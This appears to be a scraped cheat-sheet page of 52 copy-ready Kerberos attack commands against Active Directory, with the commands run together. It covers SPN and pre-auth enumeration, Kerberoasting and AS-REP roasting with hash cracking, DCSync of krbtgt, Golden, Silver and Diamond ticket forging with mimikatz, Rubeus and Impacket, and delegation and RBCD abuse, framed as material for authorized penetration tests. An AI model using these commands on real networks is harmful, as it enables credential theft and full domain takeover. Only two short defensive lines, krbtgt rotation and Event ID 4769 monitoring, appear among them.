Kerberos attack techniques for Active Directory pentests — Kerberoasting, AS-REP roasting, Golden and Silver Tickets, delegation abuse (unconstrained, constrained, RBCD), and overpass-the-hash. (52 payloads)
setspn -T domain.com -Q */*Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select Name,ServicePrincipalNameGet-DomainUser -SPN | Select samaccountname,serviceprincipalnamepython3 GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP>Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuthGet-DomainUser -PreauthNotRequired -Verbose | Select samaccountnameGet-DomainComputer -Unconstrained | Select dnshostnameGet-DomainComputer -TrustedToAuth | Select dnshostname,msds-allowedtodelegatetopython3 GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request -outputfile kerb.hashesGetUserSPNs.py domain.com/user:password -request-user svc_sql -outputfile svc_sql.hashRubeus.exe kerberoast /outfile:hashes.txt /nowrapRubeus.exe kerberoast /user:svc_sql /domain:domain.com /nowrapRubeus.exe kerberoast /rc4opsec /tgtdeleg /nowrapRubeus.exe kerberoast /statshashcat -m 13100 -a 0 hashes.txt rockyou.txthashcat -m 19700 -a 0 hashes.txt rockyou.txtpython3 GetNPUsers.py domain.com/ -dc-ip <DC_IP> -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hashesGetNPUsers.py domain.com/user:password -request -format hashcat -outputfile asrep.hashesRubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrapRubeus.exe asreproast /user:jsmith /format:hashcat /nowraphashcat -m 18200 -a 0 asrep.hashes rockyou.txtSet-DomainObject -Identity jsmith -XOR @{useraccountcontrol=4194304} -VerboseRubeus.exe asktgt /user:Administrator /rc4:<NTLM_HASH> /domain:domain.com /pttRubeus.exe asktgt /user:Administrator /aes256:<AES256_KEY> /domain:domain.com /ptt /opsecpython3 getTGT.py domain.com/Administrator -hashes :<NTLM_HASH> -dc-ip <DC_IP>python3 getTGT.py domain.com/Administrator -aesKey <AES256_KEY> -dc-ip <DC_IP>export KRB5CCNAME=Administrator.ccachemimikatz # sekurlsa::pth /user:Administrator /domain:domain.com /aes256:<KEY> /run:powershell.exemimikatz # lsadump::dcsync /domain:domain.com /user:krbtgtmimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:<NTLM> /id:500 /pttRubeus.exe golden /aes256:<KRBTGT_AES> /user:Administrator /id:500 /domain:domain.com /sid:S-1-5-21-... /pttpython3 ticketer.py -nthash <KRBTGT_NTLM> -domain-sid S-1-5-21-... -domain domain.com Administratormimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:<SID> /target:srv.domain.com /service:cifs /rc4:<MACHINE_NTLM> /pttpython3 ticketer.py -nthash <MACHINE_NTLM> -domain-sid <SID> -domain domain.com -spn cifs/srv.domain.com AdministratorRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /krbkey:<KRBTGT_AES> /pttRubeus.exe golden /sapphire ... /user:lowpriv /service:krbtgt ...Rubeus.exe monitor /interval:5 /nowrapSpoolSample.exe DC$ ATTACKER_UNCONSTRAINED_HOSTpython3 getST.py -spn cifs/target.domain.com -impersonate Administrator -dc-ip <DC_IP> domain.com/svc_account:passwordRubeus.exe s4u /user:svc_web /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/target.domain.com /altservice:host,ldap /pttSet-DomainComputer -Identity TARGET$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}python3 rbcd.py -delegate-from FAKE01$ -delegate-to TARGET$ -action write domain.com/user:passwordpython3 getST.py -spn cifs/TARGET.domain.com -impersonate Administrator domain.com/FAKE01$:passwordpython3 addcomputer.py -computer-name 'FAKE01$' -computer-pass 'Pass123' domain.com/user:passwordRubeus.exe ptt /ticket:<base64_or_kirbi>Rubeus.exe dump /service:krbtgt /nowrapRubeus.exe triagepython3 ticketConverter.py ticket.kirbi ticket.ccacheklist / kerberos::list (mimikatz) / klist (Linux)Rubeus.exe asktgt /user:u /aes256:<KEY> /opsec /nopreauth ...kgtgt rotation: reset krbtgt twice (with replication between resets)Monitor Event ID 4769 (TGS request) with RC4 etype 0x17 from non-standard accountsLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 52 Kerberos payloads for testing Kerberos Attacks vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Hash Generator to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Kerberos payloads are completely free, with no account required. Everything runs in your browser.